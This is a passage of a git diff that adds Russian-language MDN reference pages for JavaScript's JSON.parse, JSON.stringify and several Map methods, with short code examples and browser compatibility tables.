+ <dt><code>text</code></dt>
+ <dd>Разбираемая строка JSON. Смотрите документацию по объекту {{jsxref("JSON")}} для описания синтаксиса JSON.</dd>
+ <dt><code>reviver</code> {{optional_inline}}</dt>
+ <dd>Если параметр является функцией, определяет преобразование полученного в процессе разбора значения, прежде, чем оно будет возвращено вызывающей стороне.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Возвращает объект {{jsxref("Object")}}, соответствующий переданной строке JSON <code>text</code>.</p>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+<p>Выбрасывает исключение {{jsxref("SyntaxError")}}, если разбираемая строка не является правильным JSON.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_JSON.parse" name="Example:_Using_JSON.parse">Пример: использование метода <code>JSON.parse()</code></h3>
+<pre class="brush: js">JSON.parse('{}');              // {}
+JSON.parse('true');            // true
+JSON.parse('"foo"');           // "foo"
+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null');            // null
+</pre>
+
+<h3 id="Example:_Using_the_reviver_parameter" name="Example:_Using_the_reviver_parameter">Пример: использование параметра <code>reviver</code></h3>
+<p>Если определён параметр <code>reviver</code>, значение, вычисляемое при разборе строки, будет <em>преобразовано</em> перед его возвратом. В частности, вычисленное значение и все его свойства (начиная с самых вложенных свойств и кончая самим значением), каждое проходят через функцию <code>reviver</code>, которая вызывается с контекстом <code>this</code>, содержащим объект в виде обрабатываемого свойства, и с аргументами: именем свойства в виде строки и значением свойства. Если функция <code>reviver</code> вернёт {{jsxref("undefined")}} (либо вообще не вернёт никакого значения, например, если выполнение достигнет конца функции), свойство будет удалено из объекта. В противном случае свойство будет переопределено возвращаемым значением.</p>
+<p>В конечном итоге, функция <code>reviver</code> вызывается с пустой строкой и самым верхним значением, чтобы обеспечить преобразование самого верхнего значения. Убедитесь, что вы правильно обрабатываете этот случай — обычно для этого нужно просто вернуть само значение — или метод <code>JSON.parse()</code> вернёт {{jsxref("undefined")}}.</p>
+<pre class="brush: js">JSON.parse('{"p": 5}', function(k, v) {
+  if (k === '') { return v; } // самое верхнее значение - возвращаем его
+  return v * 2;               // иначе возвращаем v * 2.
+});                           // { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', function(k, v) {
+  console.log(k); // пишем имя текущего свойства, последним именем будет ""
+  return v;       // возвращаем неизменённое значение свойства
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+    <td>{{CompatIE("8.0")}}</td>
+    <td>{{CompatOpera("10.5")}}</td>
+    <td>{{CompatSafari("4.0")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+<p>Начиная с Gecko 29 {{geckoRelease("29")}}, при передаче некорректной строки JSON выдаётся более подробное собщение об ошибке, содержащее номер строки и колонки, в которых была обнаружена ошибка разбора. Это полезно при отладке больших данных JSON.</p>
+<pre class="brush: js">JSON.parse('[1, 2, 3,]');
+// SyntaxError: JSON.parse: unexpected character at
+// line 1 column 10 of the JSON data
+// SyntaxError: JSON.parse: неожиданный символ
+// в строке 1, колонке 10 данных JSON
+</pre>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON">Использование родного объекта <code>JSON</code></a></li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/json/stringify/index.html b/files/ru/web/javascript/reference/global_objects/json/stringify/index.html
new file mode 100644
index 0000000000..04ccba32a7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/json/stringify/index.html
@@ -0,0 +1,189 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+tags:
+  - JSON
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef("Global_Objects", "JSON")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>JSON.stringify()</code></strong> преобразует значение JavaScript в строку JSON, возможно с заменой значений, если указана функция замены, или с включением только определённых свойств, если указан массив замены.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, преобразуемое в строку JSON.</dd>
+ <dt><code>replacer</code> {{optional_inline}}</dt>
+ <dd>Если является функцией, преобразует значения и свойства по ходу их преобразования в строку; если является массивом, определяет набор свойств, включаемых в объект в окончательной строке.<br>
+ Подробное описание функции <code>replacer</code> даётся в статье <a href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON#The_replacer_parameter">Использование родного объекта <code>JSON</code></a> руководства по JavaScript.</dd>
+ <dt><code>space</code> {{optional_inline}}</dt>
+ <dd>Делает результат красиво отформатированным (расставляя пробелы).</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>JSON.stringify()</code> преобразует значение в представляющую его нотацию JSON со следующими оговорками:</p>
+
+<ul>
+ <li>Порядок преобразования в строку свойств объектов, не являющихся массивами, не гарантируется. Не полагайтесь на порядок свойств во время преобразования.</li>
+ <li>Объекты {{jsxref("Boolean")}}, {{jsxref("Number")}} и {{jsxref("String")}} преобразуются в соответствующие примитивные значения, в соответствии с традиционным соглашением о семантике преобразований.</li>
+ <li>Значение {{jsxref("undefined")}}, функция или символ, встреченные во время преобразования, будут либо опущены (если они найдены в объекте), либо превращены в {{jsxref("null")}} (если они найдены в массиве).</li>
+ <li>Все свойства, имеющие ключ в виде символа, будут полностью проигнорированы, даже при использовании функции <code>replacer</code>.</li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({});                  // '{}'
+JSON.stringify(true);                // 'true'
+JSON.stringify('foo');               // '"foo"'
+JSON.stringify([1, 'false', false]); // '[1,"false",false]'
+JSON.stringify({ x: 5 });            // '{"x":5}'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}' or '{"y":6,"x":5}'
+JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
+// '[1,"false",false]'
+
+// Символы:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'символ';
+  }
+});
+// '{}'
+</pre>
+
+<h3 id="space_argument" name="space_argument">Параметр <code>space</code></h3>
+
+<p>Параметр <code>space</code> может использоваться для управления форматированием отступов в конечной строке. Если он числовой, каждый последующий уровень вложенности будет дополнен отступом из пробелов, количество которых соответствует уровню (вплоть до десятого уровня). Если он строковый, каждый последующий уровень вложенности будет предваряться этой строкой (или её первыми десятью символами).</p>
+
+<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'
+</pre>
+
+<p>Использование символа табуляции имитирует стандартное красивое форматирование:</p>
+
+<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// вернёт строку:
+// '{
+// 	"uno": 1,
+// 	"dos": 2
+// }'
+</pre>
+
+<h3 id="toJSON_behavior" name="toJSON_behavior">Поведение метода <code>toJSON()</code></h3>
+
+<p>Если преобразуемый в строку объект имеет свойство с именем <code>toJSON</code> и значением свойства, установленным в функцию, то этот метод <code>toJSON()</code> изменит стандартное поведение преобразования в JSON: вместо преобразования объекта будет использоваться значение, возвращаемое методом <code>toJSON()</code>. Например:</p>
+
+<div class="warning">
+<p>Функции не являются допустимыми данными в JSON, так что они не будут работать. Кроме того, некоторые объекты, например, объект {{jsxref("Date")}}, станут строками после применения {{jsxref("JSON.parse()")}}.</p>
+</div>
+
+<pre class="brush: js">var obj = {
+  foo: 'foo',
+  toJSON: function() {
+    return 'bar';
+  }
+};
+JSON.stringify(obj);        // '"bar"'
+JSON.stringify({ x: obj }); // '{"x":"bar"}'
+</pre>
+
+<h3 id="Example_of_using_JSON.stringify_with_localStorage" name="Example_of_using_JSON.stringify_with_localStorage">Пример использования метода <code>JSON.stringify()</code> вместе с <code>localStorage</code></h3>
+
+<p>В случае, если вы хотите сохранить объект таким образом, чтобы его можно было восстановить даже после закрытия браузера, имеет смысл воспользоваться следующим примером, демонстрирующим применение метода <code>JSON.stringify()</code>:</p>
+
+<pre class="brush: js">// Создаём некоторый объект
+var session = {
+  'screens': [],
+  'state': true
+};
+session.screens.push({ 'name': 'экранА', 'width': 450, 'height': 250 });
+session.screens.push({ 'name': 'экранБ', 'width': 650, 'height': 350 });
+session.screens.push({ 'name': 'экранВ', 'width': 750, 'height': 120 });
+session.screens.push({ 'name': 'экранГ', 'width': 250, 'height': 60 });
+session.screens.push({ 'name': 'экранД', 'width': 390, 'height': 120 });
+session.screens.push({ 'name': 'экранЕ', 'width': 1240, 'height': 650 });
+
+// Преобразуем его в строку JSON с помощью метода JSON.stringify(),
+// затем сохраняем его в localStorage под именем session
+localStorage.setItem('session', JSON.stringify(session));
+
+// Пример того, как можно преобразовать строку, полученную с помощью метода
+// JSON.stringify() и сохранённую в localStorage обратно в объект
+var restoredSession = JSON.parse(localStorage.getItem('session'));
+
+// Переменная restoredSession содержит объект, который был сохранён
+// в localStorage
+console.log(restoredSession);
+</pre>
+
+<h3 id="Example_of_using_replacer_parameter" name="Example_of_using_replacer_parameter">Пример использования параметра <code>replacer</code></h3>
+
+<pre class="brush: js">var foo = { foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7 };
+
+JSON.stringify(foo, function(key, value) {
+  if (typeof value === 'string') {
+    return undefined; // удаляем все строковые свойства
+  }
+  return value;
+});  // '{"week":45,"month":7}'
+
+JSON.stringify(foo, ['week', 'month']);
+// '{"week":45,"month":7}', сохранились только свойства week и month
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+</div>
+
+
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON">Использование родного объекта <code>JSON</code></a></li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/@@species/index.html b/files/ru/web/javascript/reference/global_objects/map/@@species/index.html
new file mode 100644
index 0000000000..cd65113453
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/@@species/index.html
@@ -0,0 +1,111 @@
+---
+title: 'get Map[@@species]'
+slug: Web/JavaScript/Reference/Global_Objects/Map/@@species
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>Акцессор свойства <code><strong>Map[@@species]</strong></code> возвращает <code>Map</code> конструктор.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Map[Symbol.species]
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Акцессор свойства species, возвращает конструктор по умолчанию для <code>Map</code> объектов. Конструкторы подклассов могут переопределить его, чтобы изменить поведение конструктора.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Свойство species возвращает конструктор по умолчанию, который является конструктором <code>Map</code> для <code>Map</code> объектов:</p>
+
+<pre class="brush: js">Map[Symbol.species]; // функция Map()</pre>
+
+<p>В производном объекте коллекции (например, ваша пользовательская карта <code>MyMap</code>), <code>MyMap</code> species является <code>MyMap</code> конструктором. Однако, вы можете захотеть переопределить это, что бы вернуть родительский <code>Map</code> в методах вашего производного класса:</p>
+
+<pre class="brush: js">class MyMap extends Map {
+  // Перезаписываем MyMap species на родительский Map конструктор
+  static get [Symbol.species]() { return Map; }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/clear/index.html b/files/ru/web/javascript/reference/global_objects/map/clear/index.html
new file mode 100644
index 0000000000..57754a8e55
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/clear/index.html
@@ -0,0 +1,119 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Map/clear
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><font face="Open Sans, arial, sans-serif">Метод </font><strong>clear()</strong></code> удаляет все элементы из объекта <code>Map</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.clear();</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_clear">Использование метода <code>clear</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size;       // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size;       // 0
+myMap.has('bar')  // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("19.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
new file mode 100644
index 0000000000..749996f85b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
@@ -0,0 +1,79 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Map/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Ссылка
+  - метод
+  - прототип
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>delete()</strong></code> удаляет указанный элемент из объекта {{jsxref("Map")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div>
+
+<p class="hidden">Исходники данного интерактивного примера хранятся в репозитории GitHub. Если вы хотите внести свой склад в проект интерактивных примеров - пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам пулл-реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">myMap.delete(key);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Ключ элемента удаляемого из объекта {{jsxref("Map")}}</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>true</code> если элемент существовал в {{jsxref("Map")}} и он был удален или <code>false</code> если элемента с такким ключом не было.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_delete">Использование метода <code>delete</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete("bar"); // Возвращает true. Успешно удалён.
+myMap.has("bar");    // Возвращает false. Элемента "bar" больше нет.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице сгенерирована из структурированных данных. Если вы хотите дополнить данные - пожалуйста клонируйте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам свой пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
new file mode 100644
index 0000000000..fd34bd9a6b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
@@ -0,0 +1,127 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Map/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>entries()</strong></code> возвращает новый <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></strong>, содержащий пары <code>[key, value]</code> для каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.</p>
+
+<p>Исходный код всех примеров для  {{jsxref("Map")}} сохранен на GitHub <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p>
+
+<p>Вы можете внести свой вклад, для этого: </p>
+
+<p>1. Клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a></p>
+
+<p>2. Ознакомьтесь с руководством <a href="https://github.com/mdn/interactive-examples/blob/master/CONTRIBUTING.md">https://github.com/mdn/interactive-examples/blob/master/CONTRIBUTING.md</a></p>
+
+<p>3. Напишите свой пример и отравьте нам запрос на извлечение.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.entries()</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый итератор объекта {{jsxref("Map")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_entries">Использование <code>entries()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
new file mode 100644
index 0000000000..20111c1cdc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
@@ -0,0 +1,94 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Map/forEach
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>forEach()</strong></code><strong> </strong>выполняет переданную функцию единожды для каждой пары ключ/значение объекта <code>Map</code> в порядке их вставки.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, которая будет выполнена для каждого элемента.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Значение, которое будет использовано в качестве текущего при выполнении callback.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>forEach</code> выполняет переданный ему <code>callback</code> по разу для каждого фактически существующего ключа в наборе. <code>Callback</code> не вызывается для ключей, которые были удалены. Однако, он выполняется для элементов со значением <code>undefined</code>.</p>
+
+<p>При вызове <code>callback</code> используются <strong>три аргумента</strong>:</p>
+
+<ul>
+ <li><strong>значение элемента</strong></li>
+ <li><strong>ключ элемента</strong></li>
+ <li><strong>объект</strong> <strong><code>Map</code>, по которому осуществляется проход</strong></li>
+</ul>
+
